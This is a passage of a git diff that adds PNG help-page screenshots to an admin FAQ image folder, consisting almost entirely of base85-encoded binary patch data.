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 literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/apply_multilingual.PNG b/admin/help/img/faq/apply_multilingual.PNG new file mode 100644 index 0000000000000000000000000000000000000000..9d397d1b1fb8e3b85d3cc2731eb858e9d2167027 GIT binary patch literal 2454 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 UsF8G-yZ`_I07*qoM6N<$f&w#%CIA2c literal 0 HcmV?d00001 diff --git a/admin/help/img/faq/board_basic_setup.PNG b/admin/help/img/faq/board_basic_setup.PNG new file mode 100644 index 0000000000000000000000000000000000000000..cfe7918e516475a07588b91db9cc1346b4fcf250 GIT binary patch literal 47366 zcmd?RcT`hdyDthDAQT}KL7IRFC{jcOq$h%iAP~BMfQk_5(xpQ{Y&7YesFctJ482(C zMWiV$BE3t8(9X>JTHd|)x4(VHJ!71E$GCs7bgebl)8_O1o-*?osdeQjH9Iv43CYo` zYAU)UBuB6$BxKK^6ySf1l|y#GA5vG{E0;)$Iyq;-KOiWCCW3^dB$8(D7CHDgkENQf zCJBkR00~K82nh)R{8!)%35okT5|X)_BqXwlBqXf&Qmb|3Nk}R~uBssP@0%~~8%J?Y zdtqp{0y;MWoI58UA5Pua^JEfd3Qk#32`kvKYT;@S2^UEzcNf-;x_w%soL?us+-B`M zDoI3eP{tR~N7-tDM`4i43skVe#?NreE0%WXqZc;)Y}P}!CQ=NHGaQ0uI~nH%o(g*zqh;TV0_~St>47N@psNKhjPuNE`gjplz;vC#0mA$nmvn^ zb{dU+$||M{UX3~u&iRT?l!k^TD7sZVWL)s@VbqZc5*gwh@aJ3Hk;Tq43giYT1<@Oo z@E}rfm56BBft_d~4A~N>4Fa7=WUoXLHIDg3HtTXqXH7aV}S(`p{j`;O1 z&Wpa=uiD$&w>w|B(2i}l9P`GTS%X}PA8)!ji|K-(NdDZQ@W-gb9znK1ucb?Of zwM0HP+LI(M{l&%h& zWTNUY^{WQ6v$M}4l}Z%&#{4eV+rA!HTM@jo`+9%+Zp%umQMjzPqNuigWI5h#YCQal z(!q}?ofGj&qDfS?1uNjn<7@no_&52O0vVVIQaeLY z1Tl%Pf5A9yP=E5!dQoXTu&N^`eRS3oKQqp~RWLms8R@+=KConTpt&o5ivDhf;>PO* zx4mK66Zs>9{+;L710&}3R@XZTyN8>{GD@VHocft=*CKB0$Y0#L+3Tl@K(mXezFggI z+NilB=Mkb1+S`!Qx$L|>9$1sn@BDUtyT|3mC&h9ZsV}<|RZfq_?Jq=(bkPtrX#bcO zk2+llORrvz)>UMc+mPSR*H`OF?+AefxJ`>8=H7UMYQU)m3)bQKTSjK@{oHx?{C2vr zWnvJ$=0nW-Osd-(PAI=lyY*bk{3ZbE!x0V$3hIZ<&POMWiJsM>kuo=d4l+rPg(| zR^l4??X?%}bC<1L*&HIVsiXB1w%XbR;j8;|ZHv3QPUGDDX_Dn-TGuk7(;_lVo66SC zXdq3M%CrPB250vQHtTu6ZLCxUWY|iWKh2>S8}(U^QzE=nvW<1}UrU)fzP0d`Da|MK zdWkluw36d;ghv7bP%{d?ZZrtk?Cs^);$i$O=4JdEvSx#gO*W2DkiWU4rS81GThpC^} z1g>)Xtv^!{;nVhg$J{wOxjPw#JG8^G^=d2PUS`z~T>C0vea>RdCcoaP>qs$fvCZkA z$p2E6#=KXdR4}0>=g!0N>3%7HyR=8iyD}PuP8qQ|9{1}G18WWO_2p)3TakldMnj)s z2uk}sN^xBQ2Wu{Pzpa*phCM5<$vC6-`I8%KUA|Kit9xr*SFE`u4ehxV8lHA7JffxF zesEk0M6=S0#5;%?v9l!g8wc0~R)1 z^LBV_#v?~he?y-`j#ZO7#jRz*`EdvHlwGTx@WMqgzgdm!#G)HjpMAq3pX44`S#Her ztv2&TCT8sKWE@t>uYXc@+5RzhSNsvXM0xRXe2>fQ)N6aTy>#DYAH2k=zUD1DrVNtyf8d8tpMn84OP*e)^f|6yULJ76ao?(UBQerNgHoqgFrQ`~vG-yG~q5pK0+m4r0Zd%yR)u_`Be-O~N_VIRJ^g{FdiK=i^yzxy?+t~1}o zWiAQN94`a;!}hFIwXtK3yZ2YphY*-Q2 zC(E$^73_2VTrdg8^ z3D`*puu)gpKCbeZb;vMb{!G>VwZK|y^;`pgUeoO2)~{;#9r}(wlEw63_V^V_rS1EE zxreFk9mWGro6QME18cnmzJV@Pg?jo!0gEzgdG14avf}a8i#Nk}g1LK(9}ZYP=6$1j zx!-wqE8qv>rCGx`Is)e*oM%@0sZ#!Jl*9b}0Z06+f-e!4tbZcc1Rv#R1!8<`X}L;e zYB*w%@BvX*(!Jbf$^B*1fuTIbWz=9R_iSEnVR6;joWaep;3h>wQ(gJ{*NRe02VY;E z&D=*#-#6SZbj_YTFzD<`5sWck=8(W{h+ly8vBxal8GM?-kLgEs$*+a^F1cpJP;&bs zPxx<-g<=jS1eKogU5N;ZKzzAgVzyl?DwZ$dV&z@7_l~*OqIqhT!{wHcEZAj7-xqr< zd|LjIIV@l7cah)wBDO=yzraJ-W-X2It>n;lcf8-|j=}gB#-)qM`EjADhI)eKm+jz0 zcVY2Jjg2Jz`R#9hH(qTPx8%x1tV#Fj+64&jez9B)>W;vR^V15JKTgj$7tHocCQ%-A znVv+m5!6bJIyad`pt8pQD7aDOQs#f#tD*MJqLW$$Sc6@QiR-Oy9z_~n4y?i>+( zaf^-iGKN!9rTnYW(BoOE-LCQ#`yKy9SqV#g%T>FilEN-kJP;3VpMB9wM9{Go)jK9` zE_X!(S-5q=XF>dHLqNcIw&WH*prOF5roVPmgf^g@Dk0}ysWZEUSl2~sWX7|N@opIk zDqEhlge9l;i=DFd?*%7P32DchV)axTY#Sc=q%aAZM;BK%G=*ELJQ|0OANSO<6&a3o zT^cv9TTGd@_2t|@U*VT4P~k1y%|18O*Jxhsx%nh@^c8>XW6j=Sw@kW_-+QaA7#CqQKY&q`8N@EzFWSF4$m=@a ztNp{)$;ABv_q48DfV^FAxBYjHlZK`Bt85C6hhNzvOAeO@cK72;mV2#| za7!$ECChD7-e$%9#Rxx_*X8)$N#ibK^XU}n$%3Z)i<}||+-MJOlt5nMkFW78ma!vz z)(|8ALH~q4gL3-bF*b*I3ncTMJY4U4t-j&w;Gw;y zqiKY4;l@Cy+}VVjyhP71nIF5b?Eq2QTWWvf%%~hrwJjp{^IRG}v)KBkuES1AEaR1v z4?G(+_t|SXaKU$W*-rYZ_ji#Df_ZdR|^l9C;2^<`W19**kX#Z zQj+42i0r=}7%=fH#N+rMg!^Yy4qtEG`WQ5L-JGyH7;cn)zpdj|n(zG9dKo^(sc`Kk z^SRLmLVg3Ih`)VPV`KYdeZXE*z;Jv3(s#So@4zso%bRVl({n-&Z!EB!UVEB*N#gk8 zE>bkz*C;+|nZA_}xLlWJ8ii54Eq~9+@^VP0ij;ZyF}kAVp*O7aWyKQb{V*)^M|zlW z(~9HKb%**0>b4T9?i7* zh_r9qqqB@Xiq(t*S!B~U^=gcw<0FU(zFkz zFHKp4QAMrKher=%?y6)>>5VEY2G7hg<{;+1@Q1I$UhFYIe zyVttwh~+BP8vRWUQ>Bbr-3G;mD@%u7_Z!F9bOry3*j{orfBVbimq$e&Gix9N_R6*W z`X5h3PA;mZIJHG~@Yh?!7(Cm(Ros=obZ@*AveD#JQ&BTbzfy5Ei7qsriTg+BJnts^%% zf5;L8or2G%+Q~`j4YpqHhIu`_)0_lWDc+OAp?(O~i&t4{x>}W|$L-nK`r$-z_51Mo zpAU}uUozjf{-mkDzIG@~-!MB8KZ^6befynnSXj->F2U>M0$&+TQ)vC$t3>MgCR?uV z_xBf@d5V=tatnK3>C{pgJF#~0)duP_N9BisZU2C=gcJB~la!d?jP+WIjhLzT$;GW# z>k~Nfe{gXi=iLba{`=T!Ra#r@rqrwCrUiWGD5#Mb_cil9;=2_qFw8OXo#bAK7wDeMGYmGVDw zY!Vq*?2+f>1_?=j=kWjLnTanypooRAbj*g;)hy_wo zXovs?FTP*20?I(2`S0y~wlTgDb{LSnw5)g~OawbVKAxRA_xLPvVOfa2{>F~MEjj@Y zp`}HcP<=tv@!S{^w7M#s#}AZ%2w^s)Wa@BoJ&T?M);qo~h;r`qIQq@bW}k71)y^U| zFS~{K+N$w#`!D_){gIu`pOzh4>`a|nOJ^DZ5*mM_&^1U3Z|Apf=*VnGzkneLmFslr#GCvlD*t|5JOWs{r)nW zQaw*iglOyLC4?95uInNV_u_j3p;JFEVWsP*7(w|)a5zCt+$ii{EdhrL^Ug0LQ z@-+i3JeM@Y-Cj#-vDRkQ2i5cpIUW1l8oBY^&>R*Bcc*fz{*Yj)=I)v^$A_Z8&9S}N zE+ejsNRs0D#N122*>%BMt0_YC(UaWx?jvj2vGq8+5*;^+jm0#O*5Xp$n@NRYq8-3e zJfsjw7y}3V4N=~=|0(Y`$p}BsJuQc;%PWNF(crc7wz1j)C3xl@O-q_mXZz7Tqo@4X zeEeV+txzt66naXT1fdzqhtrQFL7UViN_=0S;=z8E$oXi?_zGg+^e9sz$MQ;YS&mSS zp^nT5G65tujJ>S*;fEMQ3HRfYkZ8d`j6hc`dp?2$QK*{AX5|UqADPsi@8i8ml{cDe zl(6ooWZ#Zq|0tT%-{rJmt3H>_g|kCuSVUqB1x=5if#?bZVzOxy=QK1(5F!qD*{(-G zd9X6n6lP~6Ni~og;^(U~2Tc0yuFmf6+P3*FMiWBCgR7mdEVAoEaJ{o{zwtzg0AZMp zzBW7ojLz$Ji`pt!sl&;B#<&W49bN6XUhY+4UK2LAoD#kop`km#;kjaF5zyZLWW&e! zyJ=DE%?q%Z6QmHF&w@?W7YMBPc2ndiYcLQ;*v0O)?@X^C?u*NgDUr{*QE7RZa}B0+ z!pZ1rn?rPMeT`I1-eJ**xS;aOiuSjB*pFSLsw6?fFgVhciCR|o9H8ednW`tvRlwPu 